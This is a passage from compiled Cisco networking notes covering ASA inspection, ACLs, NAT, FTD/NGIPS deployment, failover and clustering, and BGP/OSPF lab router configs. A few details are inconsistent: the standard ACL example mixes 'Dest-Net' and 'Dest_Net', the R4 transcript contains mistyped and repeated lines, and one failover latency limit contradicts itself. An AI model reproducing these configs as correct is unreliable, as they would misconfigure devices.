connection traversing ASA & examines packet header and contents of packet in application layer. - Applications and protocols and secondary channels on dynamically assigned ports that embedded IP Address information in the data payload of the packet require inspection, which allows for NAT to work and update any other fields or checksums. - ASA identifies dynamic port assignments and allows data exchange on ports during connection. - Modular Policy Framework (MPF) is provided by ASA for QoS. MPF is flexible and simple, similar to IOS Modular QoS CLI. Configuration Steps: 1. Configure traffic classes to identify interesting traffic. 2. Associate actions to each traffic class to create service policies. 3. Activate the service policies on an interface or globally. Commands of the MPF: - `class-map`: classifies traffic for inspection. Various types of match criteria in a class map can be used to classify traffic. The primary criterion is the use of an access control list (ACL). - `policy-map`: configures security or QoS policies. A policy consists of a *class* command and its associated actions. Additionally, a policy map can contain multiple policies. - `service-policy`: activates a policy map globally (on all interfaces) or on a targeted interface. Application inspection example: ``` text asa(config)# access-list tftptraffic permit udp any any eq 69 asa(config)# class-map TFTPclass asa(config-cmap)# match access-list tftptraffic asa(config-cmap)# exit asa(config)# policy-map tftppolicy asa(config-pmap)# class TFTPclass asa(config-pmap-c)# inspect tftp asa(config-pmap-c)# exit asa(config-pmap)# exit asa(config)# service-policy tftppolicy global ``` ## To-the-Box Traffic Filtering in Cisco ASA Management access rules apply to traffic that terminate on the ASA. Guidelines: - Traffic filtering requires you to configure an ACL and then apply the ACL to the appropriate interface, using the `control-plane` keyword at the end, which tells the ASA to block the specified traffic destined for the ASA. - The ACL cannot be applied to an interface designated as a `management-only` interface. - Management-specific protocols provide their own control-plane protection and have higher precedence than a to-the-box traffic-filtering ACL. For example, if you allow a host to establish an SSH session (by defining its IP address in the `ssh` command) and then block its IP address in the management access rule, the host can establish an SSH session to the security appliance. Example of management access rule: ``` text asa# conf t asa(config)# access-list outside_access_in_1 remark Blocking all Management Traffic on the Outside Interface asa(config)# access-list outside_access_in_1 extended deny ip any any asa(config)# access-group outside_access_in_1 in interface outside control-plane ``` ## Object Grouping and Other ACL Features Advanced packet-filtering features: - Object grouping - Group similar items together to reduce ACEs. - `show access-list` reveals the individual ACEs regardless of grouping. - Hierarchical/nested grouping can take place. - Types that can be grouped: - Protocol - Network - Service - Local user group - Security group - ICMP type - Standard ACLs - Time-based ACLs - Downloadable ACLs ## Standard ACLs - ``` none asa(config)# access-list Dest-Net standard permit host 192.168.88.10 asa(config)# access-list Dest-Net standard permit 192.168.20.0 255.255.255.0 asa(config)# access-list Dest_Net standard deny any ! application of standard ACL to OSPF route map asa(config)# route-map OSPFMAP permit 10 asa(config-route-map)# match ip address Dest_Net ``` ## Time-Based ACLs - Prevent access based on the preconfigured time intervals. - NTP config is recommended. - Can be used with extended, IPv6 and Webtype ACLs - Applies only to new connections. - Types of time restrictions (absolute evaluated before periodic): - Absolute: has start and end time. If no start time stipulated, ASA applies immediately. If no end time stipulated, ASA applies ACL forever. Only one `absolute` parameter allowed at a time. - Periodic: values based on recurring events. Only allow things during specific hours. Use of weekdays. ## ICMP Filtering in Cisco ASA - Interface ACLs can block all ICMP traffic. - Allowed by default. - Control-plane ACL or ICMP policies (`icmp` command) control ICMP. - Processed in sequential order, implicit deny at end. - ICMP traffic filtering takes precedence over control-plane filtering. ICMP filtering example: ``` text asa(config)# icmp deny any echo outside asa(config)# icmp permit any outside ``` ## Network Address Translation in Cisco ASA Hide internal addressing from outside by showing different IP address spaces. Deployment examples: - You use a private addressing scheme internally and want to assign global routable addresses to those hosts. - You change to a service provider that requires you to modify your addressing scheme. - Rather than redesigning the entire IP infrastructure, you implement translation on the border appliance. - For security reasons, you do not want to advertise the internal addressing scheme to the outside hosts. - You have multiple internal networks that require Internet connectivity through the security appliance, but only one global address (or a few) is available for translation. - You have overlapping networks in your organisation and you want to provide connectivity between the two without modifying the existing addressing scheme. - One-to-one address mapping when packet traverses ASA and matches criteria for translation. - The ASA either assigns a static IP Address (static NAT) or allocates an address from a pool of addresses (dynamic NAT) - Internal address gets translated to global address when packets go to the public network (inside NAT). - Two types of NAT: - Network Address Translation (NAT) - Port Address Translation (PAT) ## Cisco ASA Auto NAT ## Access Control Policies in Cisco FTD --- # Advanced Malware Protection (AMP) Source: docs/networking/cisco/ngfw-ngips/amp.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/amp/ --- # FirePOWER Intrusion Policies Source: docs/networking/cisco/ngfw-ngips/firepower-ips.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/firepower-ips/ ## Variables ## Platform Settings Policy ## NGIPS Preprocessors --- # High Availability and Clustering Source: docs/networking/cisco/ngfw-ngips/ha-clustering.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/ha-clustering/ - HA (failover) or cluster - Identical FTD devices or identical ASA devices - State link between devices - ASA supports active-active & active-standby. FTD only supports active-standby - Only active passes traffic - Failover and stateful links are dedicated - Stateful link is used to pass connection state information. Ensure that it the bandwidth available is equal on both sides. Latency must be less than 10ms, no more than 250ms. Active-standby failover: ![ha clustering](_images/ha-clustering-1.png) Communication over the failover link: - The firewall state (active or standby) - Hello messages (keepalives) - Network link status - MAC address exchange - Configuration replication and synchronisation Failover configuration requirements: - The two participant devices must be configured in the same firewall mode (for example, routed or transparent). - The two participant devices must be running the same software version. - You can configure different Cisco FTD devices in groups (or domains) in the Cisco FMC. Devices configured for failover must be in the same domain or group on the Cisco FMC. - The two participant devices must have the same Network Time Protocol (NTP) configuration (and time must be synchronized). - Failover participant devices must be fully deployed with no uncommitted changes in the Cisco FMC. - DHCP or PPPoE must not be configured on any of their interfaces. - Same licenses - FMC releases any unnecessary licenses assigned to the standby device and replaces them with identical licenses assigned to the active and standby device. Methods for connecting failover link: - Use a switch with dedicated network segment (VLAN or broadcast domain). - Direct connection between the two devices with the same ethernet speeds and ethernet numbers. ## Clustering - Multiple FTDs into one, logical device. - Supported only on 4100 & 9300. - Increased throughput and redundancy. - Cluster-control link (by default, port-channel 48) for unit-to-unit communication. Data and control traffic, state update and forwarded packets are sent over this link. Must be sized to handle comms of all members. - Intra-chassis clustering can occur in 9300, using backplane for cluster comms. - Inter-chassis clustering is achieved by allocating 1 or more physical interfaces in EtherChannel. - Firepower chassis supervisor pushes minimal bootstrap config to each unit that has cluster name and control link interface settings when deploying cluster. - FTD cluster assigns data interfaces to the cluster as spanned interfaces. - FTD cluster members share policy and traffic flows. - One FTD is the master unit (automatically determined), others are slaves. Master is either the first unit joining or on config'd priority. - All config is done on master unit and replicated to slaves. - New master is elected when master leaves cluster. - Master handles all management and centralised functions. - All members must be connected to single management network (separate to cluster control link). Management interfaces must be assigned when enabling clustering to be able to connect directly to member. 4 FTD devices connected to 2 switches: ![ha clustering](_images/ha-clustering-2.png) FTD cluster unit state transition: ![ha clustering](_images/ha-clustering-3.png) 1. After the unit boots, it looks for a master over the cluster control link. 2. If there are no master units, it waits 45 seconds before assuming the master role. If a master already exists, it becomes a slave and the configuration is synchronized. 3. If there is a synchronisation or health issue, the unit is considered disabled in the cluster. --- # NGFW & NGIPS Source: docs/networking/cisco/ngfw-ngips/index.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/ --- # Introduction to NGFW & NGIPS Source: docs/networking/cisco/ngfw-ngips/introduction.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/introduction/ - Cisco Next Generation Security - protection throughout the attack continuum. - Advanced Malware Protection (AMP) - discover threats and enforce and harden policies. - Next-Generation IPS (NGIPs), Email Security, Web Security Appliance (WSA) with AMP - detect, block, and defend against attacks that have taken place. - FirePOWER (uppercase) - Cisco ASA FirePOWER module. - Firepower (lowercase) - FTD unified image and newer software. ## Cisco Firewall History and Legacy - Cisco started with Centri Firewall. - Cisco acquired PIX (Private Internet Exchange) Firewall. - Cisco purchased WheelGroup, Cisco's legacy IDS and IPS system. - Cisco released Adaptive Security Appliance (ASA), which was popular. - There is a virtual appliance equivalent, ASAv. - See for ASA releases. ## Cisco ASA - Simple packet filtering (ACLs) and stateful inspection. - Application inspection/awareness. - NATting. - DHCP server or client, or both. - RIP, EIGRP, OSPF, and static routing. - Traditional layer 3 firewall. - Optional transparent layer 2 firewall. - Headend or remote-end for VPN tunnels for both remote access VPN & site-to-site VPN. - IPsec & SSL-based remote-access VPNs with clientless SSL and full AnyConnect SSL VPN. - Botnet traffic-filtering. ## Cisco ASA with FirePOWER Module - Integration of Sourcefire technology. - Module can be managed via Firepower Management Center (FMC), formerly known as the FireSIGHT Management Centre. - FMC and ASA FirePOWER module require additional licensing. - All ASAs (except 5506-X, 5508-X, 5516-X) can be managed by Adaptive Security Device Manager (ASDM), where license can be installed. - All ASAs with FirePOWER managed by FMC can have their license installed on FMC and used by module. ## Cisco Firepower Threat Defence (FTD) . FTD is unified software that includes ASA, legacy FirePOWER, and new features. FTD is deployed via Firepower 1000, 2100, 4100, 9000 series appliances that provide NGFW services. ## Cisco Firepower 1000 Series Small business and home offices. - Cisco Firepower 1010: A desktop firewall with eight 1 Gigabit Ethernet ports, and scales up to 650 Mbps of NGFW throughput. - Cisco Firepower 1120: A rack-mount firewall with eight 1 Gigabit Ethernet ports and four SFP ports. The Firepower 1120 scales to up to 1.5 Gbps of NGFW throughput. - Cisco Firepower 1140: A rack-mount firewall with eight 1 Gigabit Ethernet ports and four SFP ports. The Firepower 1140 scales to up to 2.2 Gbps of NGFW throughput. ## Cisco Firepower 2100 Series Internet edge and data centre. - Cisco Firepower 2110: A rack-mount 1 RU firewall with twelve 1 Gigabit Ethernet ports and four SFP ports. The Firepower 2110 scales up to 2 Gbps of NGFW throughput. - Cisco Firepower 2120: A rack-mount 1 RU firewall with twelve 1 Gigabit Ethernet ports and four SFP ports. The Firepower 2120 scales up to 3 Gbps of NGFW throughput. - Cisco Firepower 2130: A rack-mount 1 RU firewall with up-to twenty-four 1 Gigabit Ethernet ports or twelve 1 Gigabit Ethernet and twelve 10 Gigabit Ethernet ports. The Firepower 2130 scales up to 5 Gbps of NGFW throughput. - Cisco Firepower 2140: A rack-mount 1 RU firewall with up-to twenty-four 1 Gigabit Ethernet ports or twelve 1 Gigabit Ethernet and twelve 10 Gigabit Ethernet ports. The Firepower 2140 scales up to 8.5 Gbps of NGFW throughput. ## Cisco Firepower 4100 Series - Cisco Firepower 4110: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 35 Gbps of firewall throughput and 11 Gbps of threat inspection throughput. - Cisco Firepower 4120: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 60 Gbps of firewall throughput and 19 Gbps of threat inspection throughput. - Cisco Firepower 4140: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 70 Gbps of firewall throughput and 27 Gbps of threat inspection throughput. - Cisco Firepower 4150: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 75 Gbps of firewall throughput and 39 Gbps of threat inspection throughput. - Cisco Firepower 4115: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 80 Gbps of firewall throughput and 26 Gbps of threat inspection throughput. - Cisco Firepower 4125: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 80 Gbps of firewall throughput and 35 Gbps of threat inspection throughput. - Cisco Firepower 4145: A rack-mount 1 RU firewall with 1, 10, or 40 Gbps interfaces scaling up to 80 Gbps of firewall throughput and 45 Gbps of threat inspection throughput. ## Cisco Firepower 9300 Series Very large enterprises or service providers. ASA, FTD, Radware DefencePro DDoS mitigation software (from 4150 up - realtime analysis to protect against DDoS). ## Cisco FTD for Cisco Integrated Services Routers (ISRs) - FTD can run on Cisco Unified Computing System (UCS) E-Series blades installed on ISR routers. - FMC & FTD are deployed as VMs. - Two internal interfaces connect a router to UCS E-Series blade. - On ISR G2, Slot0 is a Peripheral Component Interconnect Express (PCIe) internal interface. - On UCS E-Series Slot1 is a switched interface connected to backplane Multi Gigabit Fabric (MGF). - In ISR 400 series routers, both internal interfaces are connected to MGF. Hypervisor is installed on UCS E-Series blade, where FTD runs. FTD for ISR is supported on: - Cisco ISR G2 Series: 2911, 2921, 2951, 3925, 3945, 3925E, and 3945E - Cisco ISR 4000 Series: 4331, 4351, 4451, 4321, and 4431 ## Introduction to Cisco NGIPS Legacy IPSs depend on matching signature patterns to identify malicious activity. Characteristics of legacy IPSs: - They are sometimes deployed behind a firewall when providing IPS functionality (inline). Often, an IPS is also placed in the network without a firewall in front of it. - They often look for attempts to exploit a vulnerability and not for the existence of a vulnerability. - Legacy IPSs often generate large amounts of event data that are difficult to correlate. - They focus on individual indicators/events without focusing on contextual information to take action. - Legacy IPSs require manual tuning for better efficacy. Shortcomings of legacy IPSs: - They often need to be operated in conjunction with other products or tools (firewalls, analytics, and correlation tools). - They are sometimes not very effective and may be ignored. - Their operation costs and the operating resources they need are high. - They can leave infrastructures imperfectly covered against attackers. NGIPS capabilities: - Application awareness and control: NGIPSs provide visibility into Layer 7 applications and can protect against Layer 7 threats. - Content awareness of the information traversing the infrastructure: For example, knowledge about files transferred between two hosts can be used to identify viruses transferred and the trajectory of a virus infection in a system. - Contextual awareness: Helps better understand alerts and automatically deduce comprehensive information about the events taking place, which makes the NGIPS less complex and means it requires less tuning. - Host and user awareness: The infrastructure offers more conclusive information about the events taking place. - Automated tuning and recommendations: This allows an administrator to follow recommendations and tune signatures specifically to his environment. - Impact and vulnerability assessment of the events taking place: The impact of a security event identified by the system can be evaluated based on the information available for the environment. For example, a Windows system that is identified to secure a vulnerability cannot be severely impacted by an attempt to exploit the vulnerability against it. Cisco Firepower NGIPS engine is based on Snort, originally created by SourceFire, which is an open source IPS tool, used all over the industry. Cisco Snort IPS rules are developed by the Cisco Talos team. 3rd Party rules can also be used. Capabilities of Cisco NGIPS: - Threat containment and remediation: Cisco Firepower NGIPS provides protection against known and new threats. Its features include file analysis, packet- and flow-based inspection, and vulnerability assessment. - Application visibility: Cisco Firepower NGIPS offers deep inspection and control of application-specific information for better efficacy. - Identity management: NGIPS policies can be enforced by using contextual user information. - Security automation: Cisco Firepower NGIPS includes automated event impact assessment and policy tuning. - Logging and traceability management: This can be used in retrospective analysis. - High availability and stacking: Cisco Firepower NGIPS provides redundancy and performance by leveraging multiple devices. - Network behavioural analysis: Key behavioural indicators and threat scores help analysts prioritise and recover from attacks. - Access control and segmentation: Access policies can be applied to separate traffic profiles in the network. - Real-time contextual awareness: NGIPS discovers and provides information about applications, users, devices, operating systems, vulnerabilities, services, processes, files, and threat data related to IT environments. ## Introduction to Cisco Firepower Management Centre (FMC) - FTD devices, Firepower NGIPS devices, and ASA FirePOWER modules can be managed by FMC. - When adding a device, you must provide an IP address of managed device with registration key for authentication. - Use of registration key and NAT ID instead of IP address in case device is behind NAT to authenticate and authorise initial registration. - NAT ID (must be unique per device) is used for NAT environments, but can be used to simplify adding many devices to FMC. - Detailed analytics and statistics of what's happening in network. Summary dashboard, showing statistics and data about top attackers, targets, intrusion events, events by application protocols, etc., all customisable: ![introduction fmc](_images/introduction-fmc-1.png) Connection Summary Dashboard, showing information about allowed and denied connections by applications over time: ![introduction fmc](_images/introduction-fmc-2.png) Content Explorer, showing statistics of traffic and intrusions over time, indicators of compromise, etc.: ![introduction fmc](_images/introduction-fmc-3.png) Network File Trajectory maps show how hosts transfer files, at risk hosts, trends, etc. Transfer of data, disposition of file, blocked or quarantined, etc.: ![introduction fmc](_images/introduction-fmc-4.png) ## Introduction to Cisco Firepower Device Manager (FDM) FDM configures small FTD deployments. Accessed via the firewall's IP address / hostname in browser. FDM setup wizard: ![introduction fdm](_images/introduction-fdm-1.png) FDM main dashboard, showing configured interfaces, routes, updates, geolocation, rules, Vulnerability Database \[VDB\], Security Intelligence feeds, etc., smart licensing, backup and restore, troubleshooting, etc.: ![introduction fdm](_images/introduction-fdm-2.png) NAT rule in FDM: ![introduction fdm](_images/introduction-fdm-3.png) Access control rule in FDM: ![introduction fdm](_images/introduction-fdm-4.png) Traditional ACL (source and destination): ![introduction fdm](_images/introduction-fdm-5.png) Application based ACL: ![introduction fdm](_images/introduction-fdm-6.png) ## Cisco Defence Orchestrator - CDO allows you to manage firewalls from the cloud. - You can write policies and enforce consistently across multiple ASA and FTD devices. - Compare, filter, edit, and create new policies. - Analyse access control policies and objects to identify errors and inconsistencies. - Create standard policy templates for consistency and effectiveness across enterprise environment. CDO main dashboard: ![introduction cdo](_images/introduction-cdo-1.png) ASA policies configured in CDO: ![introduction cdo](_images/introduction-cdo-2.png) FTD, Meraki and virtual AWS firewalls being managed by CDO: ![introduction cdo](_images/introduction-cdo-3.png) More FTD policies in CDO: ![introduction cdo](_images/introduction-cdo-4.png) ## FTDv / NGFWv --- # Networking with Firewall Capabilities Source: docs/networking/cisco/ngfw-ngips/networking-with-firewall-capabilities.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/networking-with-firewall-capabilities/ ## Comparing Network Security Solutions That Provide Firewall Capabilities - Zone-Based Firewall (ZBFW) is a stateful firewall in Cisco IOS devices is the successor of the Context-Based Access Control (CBAC) IOS firewall. - ZBFW Has features not available in CBAC, ie. assignment of router interfaces into different security zones to control traffic. - ZBFW is cost effective, as it is integrated within a router device. - ZBFW zones must be configured before interfaces can be assigned to the zone. - ZBFW interfaces can only be assigned to one zone. - ZBFW interfaces by default deny all traffic, except for traffic within same zone. - ZBFW self-zone (traffic destined for the router itself) is by default allowed. - ZBFW ACLs must be put in place to allow traffic. - Pass, inspect, and drop actions are applied between zones. - More info: . ZBFW can be implement in SD-WANs and the configuration and zone deployments include: - Source zone: A group of VPNs where the data traffic flows originate. A VPN can be part of only one Source zone. - Destination zone: A grouping of VPNs where the data traffic flows terminate. A VPN can be part of only one Destination zone. - Firewall policy: A security policy, similar to a localised security policy, that defines the conditions that the data traffic flow from the source zone must match to allow the flow to continue to the destination zone. Firewall policies can match IP prefixes, IP ports, the protocols TCP, UDP, and ICMP, and applications. Matching flows for prefixes, ports, and protocols can be accepted or dropped, and the packet headers can be logged. Non-matching flows are dropped by default. Matching applications can only be denied. - Zone pair: A container that associates a source zone with a destination zone and applies a firewall policy to the traffic that flows between the two zones. Matching flows are accepted through: - Inspect: The packet’s header can be inspected to determine its source address and port. - Pass: The packet can pass to the destination zone without the packet’s header being inspected at all. ## Deployment Modes of Network Security Solutions and Architectures That Provide Firewall Capabilities - ASA protects internal network from external threats through untrusted interfaces, which are logically named (outside, inside, dmz). - Security levels are applied, using `nameif`, to ASA (0 - 100). The safest being 100 (inside) and the least safest being 0 (outside). A DMZ would have 50. - The same security level can be applied to multiple interfaces (in the case of having 2 outside links for example). The `same-security-traffic permit-interface` global command must be inputted to allow as it says. - An interface with no security level set will not participate in the network layer. - IP Addresses are assigned to the interfaces (routed mode). Either through static or dynamic (DHCP client) configuration. ### Routed vs. Transparent Firewalls - Usually firewalls are deployed in routed mode. ACLs separate the layer 3 networks through examining upper-layer headers and data payloads in packets. - In transparent mode, the IP Address is assigned in global configuration mode on a bridge virtual interface (BVI). - DHCP is not supported if in failover pair. - Firewalls in routed mode cannot filter packets from one host to another in the same LAN segment. L3 firewalls require network segments to be created and are inserted into network, causing downtime. - Transparent firewalls are Layer 2. They are placed between LAN and layer 3 device (router), without disrupting network. - You can then filter unwanted traffic on layer 2. Below image shows 192.168.10.2 sending traffic to cisco.com and being allowed by firewall. Router does the translation, not the transparent firewall. ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-1.png) ### Security Contexts Security Contexts enable physical firewalls to partition into multiple firewalls. Each firewall behaves as an independent firewall with its own config, interfaces, policies, routing, etc. A context can be either layer 2 (transparent) or layer 3 (routed). Some examples: - You act as a service provider and you want to provide firewall services to customers; however, you do not want to purchase additional physical firewalls for each client. - You manage an educational institution and you want to segregate student networks from faculty networks for improved security while using one physical security appliance. - You administer a large enterprise with different departmental groups, and each department wants to implement its own security policies. - You have overlapping networks in your organisation and you want to provide firewall services to all those networks without changing the addressing scheme. - You currently manage many physical firewalls and you want to integrate security policies from all firewalls into one physical firewall. - You manage a data centre environment and you want to provide end-to-end virtualisation to reduce operational costs and increase efficiency. ### Single-Mode Transparent Firewalls - A SMTF is a secure bridge that switches traffic from one interface to another. - IP Address is assigned in global config, not per-interface IP. IP Address is used mainly for management access. - Allows simple config - ACLs, inspection rules, NAT policies. **The Admin Context:** - SMTF is usually the admin context (similar to VM hypervisor), where you would only use this context for SNMP (of physical host), syslogs, file transfer, etc. - The admin context is created first before other contexts by inputting the `admin-context` command. - When ASA is converted from single to multiple mode, network config of single-mode is save in admin context. ASA names the context "admin". - Admin context can be used as a regular context, but not recommended at all. **The User Context:** Customer / user contexts are virtual firewalls that support the following (examples) that are available in standalone firewall: - IPS functionality - Dynamic routing Packet filtering - Network address translation (NAT) - Site-to-site VPN - IPv6 and device management **Multiple-Context Mode:** - Packets are classified and forwarded to correct context using a packet classifier, which identifies packets at the ingress interface. - ASA designates packet-classifying criteria to identify the correct security context before forwarding packets (either shared interface or non-shared interface environment). - Sharing of resources, such as physical interfaces occurs between contexts, one of the main benefits. - ASA uses physical or logical sub-interfaces assigned to each context, which makes it easier for ASA to label packets based on source interface. - ASA can share multiple interfaces between contexts and uses either destination IP or MAC address to classify packets to correct context. - The MAC address on the interface(s) used by multiple context can the same, so classifier does not know which ingress packets received by ASA are for which context. - Destination IP is used to identify destination context in above case. However, routing table might be the same on contexts, so ASA uses NAT table of each context to learn about subnets behind contexts. **Multimode Transparent Firewall (MMTF):** MMTFs perform the same way as single-mode, except: - Packets are handled in different contexts. Because each context acts and behaves as an independent entity, you must configure an IP address to the bridge virtual interface (BVI) in each context for administration and management purposes. - An interface cannot be shared between multiple contexts in this mode. ### Cisco FTD Deployment Modes FTDs can also either be in routed or transparent mode. FTD in routed mode: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-2.png) FTD in transparent mode: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-3.png) ### Cisco FTD Interface Modes FTD can operate as NGFW and NGIPS in different interfaces: - NGFW is operational mode of ASA and adds Firepower features. - NGIPS acts as standalone Firepower with limited ASA data plane functions. IPS-only passive interfaces, passive ERSPAN (routed mode only), and inline sets can be configured in FTD: - IPS-only mode bypasses firewall checks and supports only IPS security policies. This is if you have a separate firewall and don't want extra overhead. - Inline sets and passive interface are only supported on physical and EtherChannel interfaces and intra-chassis and inter-chassis clustering. - Inline sets cannot use redundant or VLANs. - Bidirectional Forwarding Detection (BFD) echo packets are not allowed through FTD when using inline sets. - If there are two neighbours on either side of FTD running BFD, FTD will drop BFD echo packets, as source and destination IP address are identical. FTD deployment modes: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-4.png) FTD interface modes: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-5.png) No additional routing required, as long as destination IP Address is in the same subnet as the BVI interface. FTD with intra-BVI communication: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-6.png) No additional routing required, as long as destination IP Address is in the directly connected subnet as the BVI interfaces. FTD with inter-BVI communication: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-7.png) Traffic between a routed (L3) interface and a BVI: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-8.png) ### Inline Pair - NGIPS can operate in either inline or passive (monitoring) modes. - Inline is for prevention, placed between switch & router or switch & firewall to block/mitigate threats. - Traffic can be dropped, allowed or reset. - Two interfaces are used, one to enter and one to exit the device for inspection. - All traffic is dropped if failure with inline device. - Can operate in either transparent or routed modes. - Legacy ASA features (NAT, routing. ACLs, etc.) aren't available for flows going through inline pair. Only few checks are available through Snort checks. - One can configure FTD in inline NGIPS deployment or transparently on network segment by binding interfaces together. - Unconditionally receive all traffic and retransmits out inline sets unless dropped. - FTD categorises the inbound and outbound traffic as part of the same traffic flow when adding multiple inline interface pairs to the same inline interface set. - FTD includes the same interface pairs in the same security zone when passive interfaces are configured (promiscuous mode). Below depicts an FTD with 10 interfaces with 2 inline sets, 1 for 3 pairs of interfaces, other for 2 pairs of interfaces: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-9.png) ### Inline Pair with Tap - Two physical interfaces internally bridged. - Few firewall checks are applied with full snort checks with copy of traffic. - Legacy ASA features (NAT, routing. ACLs, etc.) aren't available for flows going through inline pair. - Can operate in either transparent or routed modes. Example of inline pair with tap: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-10.png) ### Passive Mode - Monitoring/passive mode do not prevent attacks. - Silently inspects and identifies malicious activity without interrupting the flow of traffic. - Can operate in either transparent or routed modes. Example of passive mode: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-11.png) ### Passive with ERSPAN Mode - Similar to remote IDS - GRE tunnel between capture point and FTD. Example of ERSPAN passive mode: ![networking with firewall capabilities](_images/networking-with-firewall-capabilities-12.png) ### Cisco FTD Deployment Design Configurations | Design Consideration | Recommendation/Comment | |-----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------| | Management | Local (FDM), or Central (FMC). FMC recommended for multiple appliances, enhanced visual analysis, central configuration, alerting, and reporting. | | Standalone or Resilient | Resilient recommended. Has impact on the number of interfaces required. | | Link Speed(s)/Types | Up/downstream speeds, internal/DMZ connections. | | Routed or Transparent mode | Routed mode recommended for Edge. Transparent/NGIPS only for customers who already have a third-party firewall. | | Number of Interfaces | Internal, External, HA or DMZs. | | Traffic Profile | Clear or Encrypted, Streaming, Hosting Services. | | Application Control | Typical requirement at the edge. Opportunity to discuss OpenAppID. | | URL Filtering | Good for remote/branch locations. Central/HQ may already have provision. | | Deep Inspection | Cisco strength. Industry-leading protection. Can have an impact on performance, so size accordingly. | | File and Malware Protection | Cisco differentiator. Advanced Malware Protection (AMP) can enhance existing AMP solutions or lead to upsell or further expansion. | --- # Security Intelligence, Security Updates, and Keeping Firepower Software Up to Date Source: docs/networking/cisco/ngfw-ngips/security-intelligence.md URL: https://docs.calebsargeant.com/networking/cisco/ngfw-ngips/security-intelligence/ ## Security Intelligence Updates ## Keeping Software Up to Date --- # NSO Source: docs/networking/cisco/nso.md URL: https://docs.calebsargeant.com/networking/cisco/nso/ - Cisco NSO (Network Services Orchestrator) is a network configuration management both at the device and service concept to manage networks. - This product is relevant to all sizes of networks. NSO can discover configuration in network and you can start programming your network from its current state. This is similar to creating your environment in Ansible playbooks. Enterprise = use DNA & NSO Datacentre = use ACI & NSO --- # BGP Source: docs/networking/cisco/routing/bgp.md URL: https://docs.calebsargeant.com/networking/cisco/routing/bgp/ ## BGP Concepts and Configuration ### BGP Routing Algorithms - BGP is technically a distance vector, but most call it a "Path Vector" protocol. - Without tuning, BGP behaves just like RIP! ### BGP Packets and Tables - Packets - **Open:** starts the session - **Keepalive:** duh.. - **Update:** network reachability exchanges - **Notification:** something bad has happened; close session - Tables - **Neighbour table:** the connected BGP friends - **BGP table:** a list of ALL BGP routes (can be big!) - **Routing table:** a list of the BEST routes ### Understanding IBGP vs EBGP ![bgp understanding ibgp vs ebgp](_images/bgp-understanding-ibgp-vs-ebgp.png) ### BGP Neighbour Configuration - Two ways to get networks in BGP: - `network` command - Redistribution ### BGP Synchronisation Do not use or advertise a route via IBGP until the same route has been learned from the internal routing protocol. ### BGP Next-Hop Processing - For EBGP peers: change next hop address on advertised routes - For IBGP peers: do not change next hop address on advertised routes ### BGP Configuration [bgp-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/bgp-configuration.zip) ![bgp configuration](_images/bgp-configuration.png) **Router R1** ``` text R1#conf t R1(config)#int s1/0 R1(config-if)#ip add 10.1.12.1 255.255.255.0 R1(config-if)#no shut R1(config-if)#int s1/1 R1(config-if)#ip add 10.1.13.1 255.255.255.0 R1(config-if)#no shut R1(config-if)#int lo0 R1(config-if)#ip add 1.1.1.1 255.255.255.255 R1(config-if)#router bgp 5500 R1(config-router)#neigh 4.4.4.4 remote-as 5500 R1(config-router)#neigh 4.4.4.4 update-source loopback 0 R1(config-router)#no sync R1(config-router)#router ospf 1 R1(config-router)#no auto R1(config-router)#net 10.1.13.0 0.0.0.255 area 0 R1(config-router)#net 10.1.12.0 0.0.0.255 area 0 R1(config-router)#net 1.1.1.1 0.0.0.0 area 0 ``` **Router R2** ``` text R2(config)#int s1/0 R2(config-if)#ip add 10.1.12.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#int s1/1 R2(config-if)#ip add 10.1.24.1 255.255.255.0 R2(config-if)#no shut R2(config-if)#router ospf 1 R2(config-router)#no auto R2(config-router)#router-id 2.2.2.2 R2(config-router)#net 10.1.12.0 0.0.0.255 area 0 R2(config-router)#net 10.1.24.0 0.0.0.255 area 0 ``` **Router R3** ``` text R3#conf t R3(config)#int s1/0 R3(config-if)#ip add 10.1.13.2 255.255.255.0 R3(config-if)#no shut R3(config-if)#int s1/1 R3(config-if)#ip add 10.1.34.1 255.255.255.0 R3(config-if)#no shut R3(config-if)#router ospf 1 R3(config-router)#no auto R3(config-router)#router-id 3.3.3.3 R3(config-router)#net 10.1.13.0 0.0.0.255 area 0 R3(config-router)#net 10.1.34.0 0.0.0.255 area 0 ``` **Router R4** ``` text R4#conf t R4(config)#int s1/0 R4(config-if)#ip add 10.1.24.2 255.255.255.0 R4(config-if)#no shut R4(config-if)#int s1/1 R4(config-if)#int s1/1 R4(config-if)#ip add 10.1.34.2 255.255.255.0 R4(config-if)#no shut R4(config-if)#int s1/2 R4(config-if)#ip add R4(config-if)#ip add 10.1.4 R4(config-if)#ip add 10.1.45.1 255.255.255.0 R4(config-if)#no shut R4(config-if)#int lo0 R4(config-if)#int lo0 R4(config-if)#ip add 4.4.4.4 255.255.255.255 R4(config-if)#router ospf 1 R4(config-router)#no auto R4(config-router)#net 4.4.4.4 0.0.0.0 area 0 R4(config-router)#net 10.1.24.0 0.0.0.255 area 0 R4(config-router)#net 10.1.24.0 0.0.0.255 area 0 R4(config-router)#net 10.1.34.0 0.0.0.255 area 0 